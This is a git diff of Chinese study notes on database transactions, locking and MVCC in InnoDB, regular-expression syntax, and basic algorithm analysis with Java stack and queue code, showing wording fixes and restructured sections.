- [Apache Wicket User Guide - Reference Documentation](https://ci.apache.org/projects/wicket/guide/6.x/)
|
||||
- [集群/分布式环境下 5 种 Session 处理策略](http://blog.csdn.net/u010028869/article/details/50773174?ref=myread)
|
||||
- [浅谈分布式锁](http://www.linkedkeeper.com/detail/blog.action?bid=1023)
|
||||
- [深入理解分布式事务](https://juejin.im/entry/577c6f220a2b5800573492be)
|
||||
|
101
notes/数据库系统原理.md
@ -14,6 +14,7 @@
|
||||
* [版本号](#版本号)
|
||||
* [Undo 日志](#undo-日志)
|
||||
* [实现过程](#实现过程)
|
||||
* [快照读与当前读](#快照读与当前读)
|
||||
* [六、Next-Key Locks](#六next-key-locks)
|
||||
* [Record Locks](#record-locks)
|
||||
* [Grap Locks](#grap-locks)
|
||||
@ -27,7 +28,12 @@
|
||||
* [数据库的三层模式和两层映像](#数据库的三层模式和两层映像)
|
||||
* [九、关系数据库建模](#九关系数据库建模)
|
||||
* [ER 图](#er-图)
|
||||
* [十、约束](#十约束)
|
||||
* [十、约束](#十约束)
|
||||
* [1. 键码](#1-键码)
|
||||
* [2. 单值约束](#2-单值约束)
|
||||
* [3. 引用完整性约束](#3-引用完整性约束)
|
||||
* [4. 域约束](#4-域约束)
|
||||
* [5. 一般约束](#5-一般约束)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
@ -36,13 +42,13 @@
|
||||
|
||||
## 概念
|
||||
|
||||
<div align="center"> <img src="../pics//4f4deaf4-8487-4de2-9d62-5ad017ee9589.png"/> </div><br>
|
||||
<div align="center"> <img src="../pics//185b9c49-4c13-4241-a848-fbff85c03a64.png"/> </div><br>
|
||||
|
||||
事务指的是满足 ACID 特性的一系列操作。在数据库中,可以通过 Commit 提交一个事务,也可以使用 Rollback 进行回滚。
|
||||
|
||||
## 四大特性
|
||||
|
||||
<div align="center"> <img src="../pics//fd945daf-4a6c-4f20-b9c2-5390f5955ce5.jpg" width="500"/> </div><br>
|
||||
<div align="center"> <img src="../pics//09e6e8d4-4d83-4949-b908-6d6b4c2fd064.png"/> </div><br>
|
||||
|
||||
### 1. 原子性(Atomicity)
|
||||
|
||||
@ -70,23 +76,25 @@
|
||||
|
||||
T<sub>1</sub> 和 T<sub>2</sub> 两个事务都对一个数据进行修改,T<sub>1</sub> 先修改,T<sub>2</sub> 随后修改,T<sub>2</sub> 的修改覆盖了 T<sub>1</sub> 的修改。
|
||||
|
||||
<div align="center"> <img src="../pics//88ff46b3-028a-4dbb-a572-1f062b8b96d3.png"/> </div><br>
|
||||
|
||||
### 2. 读脏数据
|
||||
|
||||
T<sub>1</sub> 修改一个数据,T<sub>2</sub> 随后读取这个数据。如果 T<sub>1</sub> 撤销了这次修改,那么 T<sub>2</sub> 读取的数据是脏数据。
|
||||
|
||||
<div align="center"> <img src="../pics//d1ab24fa-1a25-4804-aa91-513df55cbaa6.jpg" width="800"/> </div><br>
|
||||
<div align="center"> <img src="../pics//dd782132-d830-4c55-9884-cfac0a541b8e.png"/> </div><br>
|
||||
|
||||
### 3. 不可重复读
|
||||
|
||||
T<sub>2</sub> 读取一个数据,T<sub>1</sub> 对该数据做了修改。如果 T<sub>2</sub> 再次读取这个数据,此时读取的结果和和第一次读取的结果不同。
|
||||
|
||||
<div align="center"> <img src="../pics//d0175e0c-859e-4991-b263-8378e52f7ee5.jpg" width="800"/> </div><br>
|
||||
<div align="center"> <img src="../pics//c8d18ca9-0b09-441a-9a0c-fb063630d708.png"/> </div><br>
|
||||
|
||||
### 4. 幻影读
|
||||
|
||||
T<sub>1</sub> 读取某个范围的数据,T<sub>2</sub> 在这个范围内插入新的数据,T<sub>1</sub> 再次读取这个范围的数据,此时读取的结果和和第一次读取的结果不同。
|
||||
|
||||
<div align="center"> <img src="../pics//d589eca6-c7cf-49c5-ac96-8e4ca0cccadd.jpg" width="800"/> </div><br>
|
||||
<div align="center"> <img src="../pics//688dacfe-1057-412f-b3a1-86abb5b0f914.png"/> </div><br>
|
||||
|
||||
## 解决方法
|
||||
|
||||
@ -94,7 +102,7 @@ T<sub>1</sub> 读取某个范围的数据,T<sub>2</sub> 在这个范围内插
|
||||
|
||||
在没有并发的情况下,事务以串行的方式执行,互不干扰,因此可以保证隔离性。在并发的情况下,如果能通过并发控制,让事务的执行结果和某一个串行执行的结果相同,就认为事务的执行结果满足隔离性要求,也就是说是正确的。把这种事务执行方式称为 **可串行化调度** 。
|
||||
|
||||
**并发控制可以通过封锁来实现,但是封锁操作都要用户自己控制,相当复杂。数据库管理系统提供了事务的隔离级别,让用户以一种更轻松的方式处理并发一致性问题。**
|
||||
**并发控制可以通过封锁来实现,但是封锁操作需要用户自己控制,相当复杂。数据库管理系统提供了事务的隔离级别,让用户以一种更轻松的方式处理并发一致性问题。**
|
||||
|
||||
# 三、封锁
|
||||
|
||||
@ -124,8 +132,8 @@ MySQL 中提供了两种封锁粒度:行级锁以及表级锁。
|
||||
|
||||
| - | X | S |
|
||||
| :--: | :--: | :--: |
|
||||
|X|Yes|No|
|
||||
|S|No|No|
|
||||
|X|No|No|
|
||||
|S|No|Yes|
|
||||
|
||||
### 2. 意向锁
|
||||
|
||||
@ -141,7 +149,7 @@ MySQL 中提供了两种封锁粒度:行级锁以及表级锁。
|
||||
| - | X | IX | S | IS |
|
||||
| :--: | :--: | :--: | :--: | :--: |
|
||||
|X |No |No |No | No|
|
||||
|IX |No |YES|No | Yes|
|
||||
|IX |No |Yes|No | Yes|
|
||||
|S |No |No |Yes| Yes|
|
||||
|IS |No |Yes|Yes| Yes|
|
||||
|
||||
@ -151,7 +159,7 @@ MySQL 中提供了两种封锁粒度:行级锁以及表级锁。
|
||||
|
||||
**一级封锁协议**
|
||||
|
||||
事务 T 要修改数据 A 时必须加 X 锁,直到事务结束才释放锁。
|
||||
事务 T 要修改数据 A 时必须加 X 锁,直到 T 结束才释放锁。
|
||||
|
||||
可以解决丢失修改问题,因为不能同时有两个事务对同一个数据进行修改,那么一个事务的修改就不会被覆盖。
|
||||
|
||||
@ -214,7 +222,7 @@ MySQL 中提供了两种封锁粒度:行级锁以及表级锁。
|
||||
|
||||
### 2. 两段锁协议
|
||||
|
||||
加锁和解锁分为两个阶段进行,事务 T 对数据 A 进行读或者写操作之前,必须先获得对 A 的封锁,并且在释放一个封锁之前,T 不能再获得任何的其它锁。
|
||||
加锁和解锁分为两个阶段进行,事务 T 对数据 A 进行读或者写操作之前,必须先获得对 A 的封锁,并且在释放一个封锁之后,T 不能再获得任何的其它锁。
|
||||
|
||||
事务遵循两段锁协议是保证并发操作可串行化调度的充分条件。例如以下操作满足两段锁协议,它是可串行化调度。
|
||||
|
||||
@ -257,11 +265,7 @@ lock-x(A)...unlock(A)...lock-s(B)...unlock(B)...lock-s(c)...unlock(C)...
|
||||
|
||||
# 五、多版本并发控制
|
||||
|
||||
(Multi-Version Concurrency Control, MVCC)是 MySQL 的 InnoDB 存储引擎实现隔离级别的一种具体方式,它的基本思想是通过保存每个数据行的多个版本,一个事务对数据行做修改时,其它事务可以读取之前的一个版本,并且都是读取相同的版本,从而保证多个事务对同一个数据行读取的结果是一致的。
|
||||
|
||||
InnoDB 的 MVCC 在读取和修改数据行时无需加锁,这属于乐观锁的一种实现。正因为无需加锁,因此性能上也会更好。
|
||||
|
||||
InnoDB 的 MVCC 可以用于实现提交读和可重复读这两种隔离级别。而对于未提交读隔离级别,它总是读取最新的数据行,无需使用 MVCC;可串行化隔离级别需要对所有读取的行都加锁,单纯使用 MVCC 无法实现。
|
||||
(Multi-Version Concurrency Control, MVCC)是 MySQL 的 InnoDB 存储引擎实现隔离级别的一种具体方式,用于实现提交读和可重复读这两种隔离级别。而未提交读隔离级别总是读取最新的数据行,无需使用 MVCC;可串行化隔离级别需要对所有读取的行都加锁,单纯使用 MVCC 无法实现。
|
||||
|
||||
## 版本号
|
||||
|
||||
@ -281,15 +285,17 @@ InnoDB 的 MVCC 使用到的快照存储在 Undo 日志中,该日志通过回
|
||||
|
||||
## 实现过程
|
||||
|
||||
以下过程针对可重复读隔离级别。
|
||||
|
||||
### 1. SELECT
|
||||
|
||||
该操作必须保证多个事务读取到同一个数据行的快照。但是也有例外,如果有一个事务正在修改该数据行,那么它可以读取事务本身所做的修改,而不用和其它事务的读取结果一致。
|
||||
该操作必须保证多个事务读取到同一个数据行的快照,这个快照是最近的一个有效快照。但是也有例外,如果有一个事务正在修改该数据行,那么它可以读取事务本身所做的修改,而不用和其它事务的读取结果一致。
|
||||
|
||||
当开始新一个事务时,该事务的版本号肯定会大于所有数据行快照的创建版本号,理解这一点很关键。
|
||||
当开始新一个事务时,该事务的版本号肯定会大于当前所有数据行快照的创建版本号,理解这一点很关键。
|
||||
|
||||
把没对一个数据行做修改的事务称为 T<sub>1</sub>,T<sub>1</sub> 所要读取的数据行快照的创建版本号必须小于当前事务的版本号,因为如果大于或者等于当前事务的版本号,那么表示该数据行快照是其它事务的最新修改,因此不能去读取它。
|
||||
把没对一个数据行做修改的事务称为 T,T 所要读取的数据行快照的创建版本号必须小于 T 的版本号,因为如果大于或者等于 T 的版本号,那么表示该数据行快照是其它事务的最新修改,因此不能去读取它。
|
||||
|
||||
除了上面的要求,T<sub>1</sub> 所要读取的数据行快照的删除版本号必须小于当前事务版本号,因为如果大于或者等于当前事务版本号,那么表示该数据行快照是已经被删除的,不应该去读取它。
|
||||
除了上面的要求,T 所要读取的数据行快照的删除版本号必须大于 T 的版本号,因为如果小于等于 T 的版本号,那么表示该数据行快照是已经被删除的,不应该去读取它。
|
||||
|
||||
### 2. INSERT
|
||||
|
||||
@ -301,24 +307,48 @@ InnoDB 的 MVCC 使用到的快照存储在 Undo 日志中,该日志通过回
|
||||
|
||||
### 4. UPDATE
|
||||
|
||||
将系统版本号作为更新后的数据行快照的创建版本号,同时将系统版本号作为作为更新前的数据行快照的删除版本号。可以理解为新执行 DELETE 后执行 INSERT。
|
||||
将系统版本号作为更新后的数据行快照的创建版本号,同时将系统版本号作为作为更新前的数据行快照的删除版本号。可以理解为先执行 DELETE 后执行 INSERT。
|
||||
|
||||
## 快照读与当前读
|
||||
|
||||
### 1. 快照读
|
||||
|
||||
读取快照中的数据。
|
||||
|
||||
引入快照读的目的主要是为了免去加锁操作带来的性能开销,但是当前读需要加锁。
|
||||
|
||||
```sql
|
||||
select * from table ....;
|
||||
```
|
||||
|
||||
### 2. 当前读
|
||||
|
||||
读取最新的数据。
|
||||
|
||||
需要加锁,以下第一个语句加 S 锁,其它都加 X 锁。
|
||||
|
||||
```sql
|
||||
select * from table where ? lock in share mode;
|
||||
select * from table where ? for update;
|
||||
insert;
|
||||
update ;
|
||||
delete;
|
||||
```
|
||||
|
||||
# 六、Next-Key Locks
|
||||
|
||||
以下内容都是针对 MySQL 的 InnoDB 存储引擎来讨论的。
|
||||
|
||||
MVCC 不能解决幻读问题,Next-Key Locks 就是为了解决这个问题而存在的。在可重复读隔离级别下使用 Next-Key Locks,就可以防止幻读的出现。
|
||||
Next-Key Locks 也是 MySQL 的 InnoDB 存储引擎的一种锁实现。MVCC 不能解决幻读的问题,Next-Key Locks 就是为了解决这个问题而存在的。在可重复读隔离级别下,MVCC + Next-Key Locks,就可以防止幻读的出现。
|
||||
|
||||
## Record Locks
|
||||
|
||||
锁定的对象时索引,而不是数据。如果表没有设置索引,InnoDB 会自动在主键上创建隐藏的聚集索引,因此 Record Lock 依然可以使用。
|
||||
锁定的对象是索引,而不是数据。如果表没有设置索引,InnoDB 会自动在主键上创建隐藏的聚集索引,因此 Record Locks 依然可以使用。
|
||||
|
||||
## Grap Locks
|
||||
|
||||
锁定一个范围内的索引,例如当一个事务执行以下语句,其它事务就不能在 t.c1 中插入 15。
|
||||
锁定一个范围内的索引,例如当一个事务执行以下语句,其它事务就不能在 t.c 中插入 15。
|
||||
|
||||
```sql
|
||||
SELECT c1 FROM t WHERE c1 BETWEEN 10 and 20 FOR UPDATE;
|
||||
SELECT c FROM t WHERE c BETWEEN 10 and 20 FOR UPDATE;
|
||||
```
|
||||
|
||||
## Next-Key Locks
|
||||
@ -552,34 +582,34 @@ Entity-Relationship,有三个组成部分:实体、属性、联系。
|
||||
|
||||
<div align="center"> <img src="../pics//7ec9d619-fa60-4a2b-95aa-bf1a62aad408.jpg"/> </div><br>
|
||||
|
||||
## 十、约束
|
||||
# 十、约束
|
||||
|
||||
### 1. 键码
|
||||
## 1. 键码
|
||||
|
||||
用于唯一表示一个实体。
|
||||
|
||||
键码可以由多个属性构成,每个构成键码的属性称为码。
|
||||
|
||||
### 2. 单值约束
|
||||
## 2. 单值约束
|
||||
|
||||
某个属性的值是唯一的。
|
||||
|
||||
### 3. 引用完整性约束
|
||||
## 3. 引用完整性约束
|
||||
|
||||
一个实体的属性引用的值在另一个实体的某个属性中存在。
|
||||
|
||||
### 4. 域约束
|
||||
## 4. 域约束
|
||||
|
||||
某个属性的值在特定范围之内。
|
||||
|
||||
### 5. 一般约束
|
||||
## 5. 一般约束
|
||||
|
||||
比如大小约束,数量约束。
|
||||
|
||||
# 参考资料
|
||||
|
||||
- 史嘉权. 数据库系统概论[M]. 清华大学出版社有限公司, 2006.
|
||||
- 施瓦茨. 高性能MYSQL(第3版)[M]. 电子工业出版社, 2013.
|
||||
- 施瓦茨. 高性能 MYSQL(第3版)[M]. 电子工业出版社, 2013.
|
||||
- [The InnoDB Storage Engine](https://dev.mysql.com/doc/refman/5.7/en/innodb-storage-engine.html)
|
||||
- [Transaction isolation levels](https://www.slideshare.net/ErnestoHernandezRodriguez/transaction-isolation-levels)
|
||||
- [Concurrency Control](http://scanftree.com/dbms/2-phase-locking-protocol)
|
||||
@ -589,3 +619,4 @@ Entity-Relationship,有三个组成部分:实体、属性、联系。
|
||||
- [The basics of the InnoDB undo logging and history system](https://blog.jcole.us/2014/04/16/the-basics-of-the-innodb-undo-logging-and-history-system/)
|
||||
- [MySQL locking for the busy web developer](https://www.brightbox.com/blog/2013/10/31/on-mysql-locks/)
|
||||
- [浅入浅出 MySQL 和 InnoDB](https://draveness.me/mysql-innodb)
|
||||
- [fd945daf-4a6c-4f20-b9c2-5390f5955ce5.jpg](https://tech.meituan.com/innodb-lock.html)
|
||||
|
@ -9,6 +9,7 @@
|
||||
* [八、回溯引用](#八回溯引用)
|
||||
* [九、前后查找](#九前后查找)
|
||||
* [十、嵌入条件](#十嵌入条件)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
@ -18,9 +19,7 @@
|
||||
|
||||
正则表达式内置于其它语言或者软件产品中,它本身不是一种语言或者软件。
|
||||
|
||||
一个问题往往可以用多种正则表达式方案来解决。
|
||||
|
||||
[正则表达式在线工具](http://tool.chinaz.com/regex)
|
||||
[正则表达式在线工具](http://tool.oschina.net/regex/)
|
||||
|
||||
# 二、匹配单个字符
|
||||
|
||||
@ -44,7 +43,9 @@ My **name** is Zheng.
|
||||
|
||||
**[ ]** 定义一个字符集合;
|
||||
|
||||
0-9、a-z 定义了一个字符区间,区间使用 ASCII 码来确定。字符区间只能用在 [ ] 之间,因此 **-** 元字符只有在 [ ] 之间才是元字符,在 [ ] 之外就是一个普通字符;
|
||||
0-9、a-z 定义了一个字符区间,区间使用 ASCII 码来确定,字符区间只能用在 [ ] 之间。
|
||||
|
||||
**-** 元字符只有在 [ ] 之间才是元字符,在 [ ] 之外就是一个普通字符;
|
||||
|
||||
**^** 是取非操作,必须在 [ ] 字符集合中使用;
|
||||
|
||||
@ -69,7 +70,7 @@ abc[^0-9]
|
||||
## 匹配空白字符
|
||||
|
||||
| 元字符 | 说明 |
|
||||
| ------------ | ------------ |
|
||||
| :---: | :---: |
|
||||
| [\b] | 回退(删除)一个字符 |
|
||||
| \f | 换页符 |
|
||||
| \n | 换行符 |
|
||||
@ -79,53 +80,33 @@ abc[^0-9]
|
||||
|
||||
\r\n 是 Windows 中的文本行结束标签,在 Unix/Linux 则是 \n ;\r\n\r\n 可以匹配 Windows 下的空白行,因为它将匹配两个连续的行尾标签,而这正是两条记录之间的空白行;
|
||||
|
||||
. 是元字符,前提是没有对它们进行转义; f 和 n 也是元字符,但是前提是对他们进行了转义。
|
||||
. 是元字符,前提是没有对它们进行转义;f 和 n 也是元字符,但是前提是对它们进行了转义。
|
||||
|
||||
## 匹配特定的字符类别
|
||||
|
||||
### 1. 数字元字符
|
||||
|
||||
| 元字符 | 说明 |
|
||||
| ------------ | ------------ |
|
||||
| :---: | :---: |
|
||||
| \d | 数字字符,等价于 [0-9] |
|
||||
| \D | 非数字字符,等价于 [^0-9] |
|
||||
|
||||
### 2. 字母数字元字符
|
||||
|
||||
| 元字符 | 说明 |
|
||||
| ------------ | ------------ |
|
||||
| :---: | :---: |
|
||||
| \w | 大小写字母,下划线和数字,等价于 [a-zA-Z0-9\_] |
|
||||
| \W | 对 \w 取非 |
|
||||
|
||||
### 3. 空白字符元字符
|
||||
|
||||
| 元字符 | 说明 |
|
||||
| ------------ | ------------ |
|
||||
| :---: | :---: |
|
||||
| \s | 任何一个空白字符,等价于 [\f\n\r\t\v] |
|
||||
| \S | 对 \s 取非 |
|
||||
|
||||
\x 匹配十六进制字符,\0 匹配八进制,例如 \x0A 对应 ASCII 字符 10 ,等价于 \n,也就是它会匹配 \n 。
|
||||
|
||||
## 使用 POSIX 字符类
|
||||
|
||||
| 字符类 | 说明 |
|
||||
| --- | --- |
|
||||
| [:alnum:] | 字母数字字符 |
|
||||
| [:alpha:] | 字母字符 |
|
||||
| [:cntrl:] | 控制字符 |
|
||||
| [:digit:] | 数字字符 |
|
||||
| [:graph:] | 非空白字符 ( 非空格、控制字符等 ) |
|
||||
| [:lower:] | 小写字母 |
|
||||
| [:print:] | 与 [:graph:] 相似,但是包含空格字符 |
|
||||
| [:punct:] | 标点字符 |
|
||||
| [:space:] | 所有的空白字符 ( 换行符、空格、制表符 ) |
|
||||
| [:upper:] | 大写字母 |
|
||||
| [:xdigit:] | 允许十六进制的数字 (0-9a-fA-F) |
|
||||
|
||||
并不是所有正则表达式实现都支持 POSIX 字符类,也不一定使用它。
|
||||
|
||||
使用时需要用两对方括号,例如 [[:alpha:]]。
|
||||
|
||||
# 五、重复匹配
|
||||
|
||||
**\+** 匹配 1 个或者多个字符, **\*** 匹配 0 个或者多个,**?** 匹配 0 个或者 1 个。
|
||||
@ -137,7 +118,7 @@ abc[^0-9]
|
||||
**正则表达式**
|
||||
|
||||
```
|
||||
[\w.]+@\w+.\w+
|
||||
[\w.]+@\w+\.\w+
|
||||
```
|
||||
|
||||
[\w.] 匹配的是字母数字或者 . ,在其后面加上 + ,表示匹配多次。在字符集合 [ ] 里,. 不是元字符;
|
||||
@ -149,8 +130,8 @@ abc[^0-9]
|
||||
为了可读性,常常把转义的字符放到字符集合 [ ] 中,但是含义是相同的。
|
||||
|
||||
```
|
||||
\w+@\w+.\w+
|
||||
[\w]+@[\w]+.[\w]+
|
||||
[\w.]+@\w+\.\w+
|
||||
[\w.]+@[\w]+\.[\w]+
|
||||
```
|
||||
|
||||
**{n}** 匹配 n 个字符,**{m, n}** 匹配 m\~n 个字符,**{m,}** 至少匹配 m 个字符;
|
||||
@ -195,7 +176,7 @@ a.+c
|
||||
(?m)^\s*//.*$
|
||||
```
|
||||
|
||||
如果没用 (?m),则只会匹配 // 注释 1 以及之后的所有内容,因为 * 是贪婪型的。用了分行匹配模式之后,换行符被当成是字符串分隔符,因此能正确匹配出两个注释内容。
|
||||
如果没用 (?m),则只会匹配 // 注释 1 以及之后的所有内容。用了分行匹配模式之后,换行符被当成是字符串分隔符,因此能正确匹配出两个注释内容。
|
||||
|
||||
**匹配结果**
|
||||
|
||||
@ -225,6 +206,8 @@ a.+c
|
||||
|
||||
**|** 是或元字符,它把左边和右边所有的部分都看成单独的两个部分,两个部分只要有一个匹配就行。
|
||||
|
||||
**正则表达式**
|
||||
|
||||
```
|
||||
(19|20)\d{2}
|
||||
```
|
||||
@ -257,7 +240,7 @@ a.+c
|
||||
|
||||
# 八、回溯引用
|
||||
|
||||
回溯引用使用 **\n** 来引用某个子表达式,其中 n 代表的是子表达式的序号,从 1 开始。它和子表达式匹配的内容一致,比如子表达式匹配到 abc ,那么回溯引用部分也需要匹配 abc 。
|
||||
回溯引用使用 **\n** 来引用某个子表达式,其中 n 代表的是子表达式的序号,从 1 开始。它和子表达式匹配的内容一致,比如子表达式匹配到 abc,那么回溯引用部分也需要匹配 abc 。
|
||||
|
||||
**应用**
|
||||
|
||||
@ -310,7 +293,7 @@ a.+c
|
||||
## 大小写转换
|
||||
|
||||
| 元字符 | 说明 |
|
||||
| ---| ---|
|
||||
| :---: | :---: |
|
||||
| \l | 把下个字符转换为小写 |
|
||||
| \u| 把下个字符转换为大写 |
|
||||
| \L | 把\L 和\E 之间的字符全部转换为小写 |
|
||||
@ -398,3 +381,7 @@ aBCd
|
||||
1. **11111**
|
||||
2. 22222-
|
||||
3. **33333-4444**
|
||||
|
||||
# 参考资料
|
||||
|
||||
- BenForta. 正则表达式必知必会 [M]. 人民邮电出版社, 2007.
|
||||
|
437
notes/算法.md
@ -1,6 +1,5 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [一、算法分析](#一算法分析)
|
||||
* [函数转换](#函数转换)
|
||||
* [数学模型](#数学模型)
|
||||
* [ThreeSum](#threesum)
|
||||
* [倍率实验](#倍率实验)
|
||||
@ -23,42 +22,27 @@
|
||||
* [优先队列](#优先队列)
|
||||
* [应用](#应用)
|
||||
* [五、查找](#五查找)
|
||||
* [符号表](#符号表)
|
||||
* [二分查找实现有序符号表](#二分查找实现有序符号表)
|
||||
* [二叉查找树](#二叉查找树)
|
||||
* [2-3 查找树](#2-3-查找树)
|
||||
* [红黑二叉查找树](#红黑二叉查找树)
|
||||
* [散列表](#散列表)
|
||||
* [应用](#应用)
|
||||
* [参考资料](#参考资料)
|
||||
<!-- GFM-TOC -->
|
||||
|
||||
|
||||
# 一、算法分析
|
||||
|
||||
## 函数转换
|
||||
|
||||
指数函数可以转换为线性函数,从而在函数图像上显示的更直观。例如
|
||||
|
||||
<div align="center"><img src="https://latex.codecogs.com/gif.latex?T(N)=aN^3"/></div> <br>
|
||||
|
||||
可以在其两端同时取对数,得到:
|
||||
|
||||
<div align="center"><img src="https://latex.codecogs.com/gif.latex?log(T(N))=3logN+loga"/></div> <br>
|
||||
|
||||
<div align="center"> <img src="../pics//0ed83061-9c1e-4df3-b15b-69aad5bfe9b8.png" width="800"/> </div><br>
|
||||
|
||||
## 数学模型
|
||||
|
||||
### 1. 近似
|
||||
|
||||
使用 \~f(N) 来表示所有随着 N 的增大除以 f(N) 的结果趋近于 1 的函数 , 例如 N<sup>3</sup>/6-N<sup>2</sup>/2+N/3 \~ N<sup>3</sup>/6。
|
||||
|
||||
<div align="center"> <img src="../pics//8f1e2db5-a59b-4633-8b61-6b8b9505b8ea.png" width="600"/> </div><br>
|
||||
N<sup>3</sup>/6-N<sup>2</sup>/2+N/3 \~ N<sup>3</sup>/6。使用 \~f(N) 来表示所有随着 N 的增大除以 f(N) 的结果趋近于 1 的函数。
|
||||
|
||||
### 2. 增长数量级
|
||||
|
||||
增长数量级将算法与它的实现隔离开来,一个算法的增长数量级为 N<sup>3</sup> 与它是否用 Java 实现,是否运行于特定计算机上无关。
|
||||
|
||||
<div align="center"> <img src="../pics//521969c9-71f6-44a5-9c78-118530e5c135.png" width="700"/> </div><br>
|
||||
N<sup>3</sup>/6-N<sup>2</sup>/2+N/3 的增长数量级为 O(N<sup>3</sup>)。增长数量级将算法与它的实现隔离开来,一个算法的增长数量级为 O(N<sup>3</sup>) 与它是否用 Java 实现,是否运行于特定计算机上无关。
|
||||
|
||||
### 3. 内循环
|
||||
|
||||
@ -74,13 +58,13 @@ ThreeSum 用于统计一个数组中三元组的和为 0 的数量。
|
||||
|
||||
```java
|
||||
public class ThreeSum {
|
||||
public static int count(int[] a) {
|
||||
int N = a.length;
|
||||
public int count(int[] nums) {
|
||||
int N = nums.length;
|
||||
int cnt = 0;
|
||||
for (int i = 0; i < N; i++) {
|
||||
for (int j = i + 1; j < N; j++) {
|
||||
for (int k = j + 1; k < N; k++) {
|
||||
if (a[i] + a[j] + a[k] == 0) {
|
||||
if (nums[i] + nums[j] + nums[k] == 0) {
|
||||
cnt++;
|
||||
}
|
||||
}
|
||||
@ -91,31 +75,41 @@ public class ThreeSum {
|
||||
}
|
||||
```
|
||||
|
||||
该算法的内循环为`if (a[i] + a[j] + a[k] == 0)`语句,总共执行的次数为 N(N-1)(N-2) = N<sup>3</sup>/6 - N<sup>2</sup>/2 + N/3,因此它的近似执行次数为 \~N<sup>3</sup>/6,增长数量级为 N<sup>3</sup>。
|
||||
该算法的内循环为 if(a[i]+a[j]+a[k]==0) 语句,总共执行的次数为 N(N-1)(N-2) = N<sup>3</sup>/6-N<sup>2</sup>/2+N/3,因此它的近似执行次数为 \~N<sup>3</sup>/6,增长数量级为 O(N<sup>3</sup>)。
|
||||
|
||||
<font size=4> **改进** </font></br>
|
||||
|
||||
通过将数组先排序,对两个元素求和,并用二分查找方法查找是否存在该和的相反数,如果存在,就说明存在三元组的和为 0。
|
||||
|
||||
该方法可以将 ThreeSum 算法增长数量级降低为 N<sup>2</sup>logN。
|
||||
该方法可以将 ThreeSum 算法增长数量级降低为 O(N<sup>2</sup>logN)。
|
||||
|
||||
```java
|
||||
public class ThreeSumFast {
|
||||
public static int count(int[] a) {
|
||||
Arrays.sort(a);
|
||||
int N = a.length;
|
||||
public int count(int[] nums) {
|
||||
Arrays.sort(nums);
|
||||
int N = nums.length;
|
||||
int cnt = 0;
|
||||
for (int i = 0; i < N; i++) {
|
||||
for (int j = i + 1; j < N; j++) {
|
||||
// rank() 方法返回元素在数组中的下标,如果元素不存在,这里会返回 -1。
|
||||
// 应该注意这里的下标必须大于 j,否则会重复统计。
|
||||
if (BinarySearch.rank(-a[i] - a[j], a) > j) {
|
||||
if (binarySearch(nums, -nums[i] - nums[j]) > j) {
|
||||
cnt++;
|
||||
}
|
||||
}
|
||||
}
|
||||
return cnt;
|
||||
}
|
||||
|
||||
private int binarySearch(int[] nums, int target) {
|
||||
int l = 0, h = nums.length - 1;
|
||||
while (l <= h) {
|
||||
int m = l + (h - l) / 2;
|
||||
if (target == nums[m]) return m;
|
||||
else if (target > nums[m]) l = m + 1;
|
||||
else h = m - 1;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
@ -125,9 +119,16 @@ public class ThreeSumFast {
|
||||
|
||||
例如对于暴力方法的 ThreeSum 算法,近似时间为 \~N<sup>3</sup>/6。进行如下实验:多次运行该算法,每次取的 N 值为前一次的两倍,统计每次执行的时间,并统计本次运行时间与前一次运行时间的比值,得到如下结果:
|
||||
|
||||
<div align="center"> <img src="../pics//cc3d855a-4281-445b-8f83-8f855458de19.png"/> </div><br>
|
||||
| N | Time | Ratio |
|
||||
| :---: | :---: | :---: |
|
||||
| 250 | 0.0 | 2.7 |
|
||||
| 500 | 0.0 | 4.8 |
|
||||
| 1000 | 0.1 | 6.9 |
|
||||
| 2000 | 0.8 | 7.7 |
|
||||
| 4000 | 6.4 | 8.0 |
|
||||
| 8000 | 51.1 | 8.0 |
|
||||
|
||||
可以看到,T(2N)/T(N)\~2<sup>3</sup>,因此可以确定 T(N) \~ aN<sup>2</sup>logN。
|
||||
可以看到,T(2N)/T(N) \~ 2<sup>3</sup>,因此可以确定 T(N) \~ aN<sup>3</sup>logN。
|
||||
|
||||
## 注意事项
|
||||
|
||||
@ -155,9 +156,7 @@ public class ThreeSumFast {
|
||||
|
||||
## 栈
|
||||
|
||||
first-in-last-out(FILO)
|
||||
|
||||
<div align="center"> <img src="../pics//1c237399-e322-4930-b5b4-a582b1ad8bda.png" width="300"/> </div><br>
|
||||
> First-In-Last-Out
|
||||
|
||||
<font size=4> **1. 数组实现** </font></br>
|
||||
|
||||
@ -220,15 +219,9 @@ public class ResizeArrayStack<Item> implements Iterable<Item> {
|
||||
}
|
||||
```
|
||||
|
||||
上面实现使用了泛型,Java 不能直接创建泛型数组,只能使用转型来创建。
|
||||
|
||||
```java
|
||||
Item[] arr = (Item[]) new Object[N];
|
||||
```
|
||||
|
||||
<font size=4> **2. 链表实现** </font></br>
|
||||
|
||||
需要使用链表的头插法来实现,因为头插法中最后压入栈的元素在链表的开头,它的 next 指针指向前一个压入栈的元素,在弹出元素使就可以让前一个压入栈的元素称为栈顶元素。
|
||||
需要使用链表的头插法来实现,因为头插法中最后压入栈的元素在链表的开头,它的 next 指针指向前一个压入栈的元素,在弹出元素使就可以通过 next 指针遍历到前一个压入栈的元素从而让这个元素称为新的栈顶元素。
|
||||
|
||||
```java
|
||||
public class Stack<Item> {
|
||||
@ -265,15 +258,14 @@ public class Stack<Item> {
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## 队列
|
||||
|
||||
first-in-first-out(FIFO)
|
||||
|
||||
<div align="center"> <img src="../pics//c64f91e2-f5a8-436b-8663-b8f3fba3e098.png" width="300"/> </div><br>
|
||||
> First-In-First-Out
|
||||
|
||||
下面是队列的链表实现,需要维护 first 和 last 节点指针,分别指向队首和队尾。
|
||||
|
||||
这里需要考虑让哪个指针指针链表头部节点,哪个指针指向链表尾部节点。因为出队列操作需要让队首元素的下一个元素成为队首,就需要容易获取下一个元素,而链表的头部节点的 next 指针指向下一个元素,因此让队首指针 first 指针链表的开头。
|
||||
这里需要考虑 first 和 last 指针哪个作为链表的开头。因为出队列操作需要让队首元素的下一个元素成为队首,所以需要容易获取下一个元素,而链表的头部节点的 next 指针指向下一个元素,因此可以让 first 指针链表的开头。
|
||||
|
||||
```java
|
||||
public class Queue<Item> {
|
||||
